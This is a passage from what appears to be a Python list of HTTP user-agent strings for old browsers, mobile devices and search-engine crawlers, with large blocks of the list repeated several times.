'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
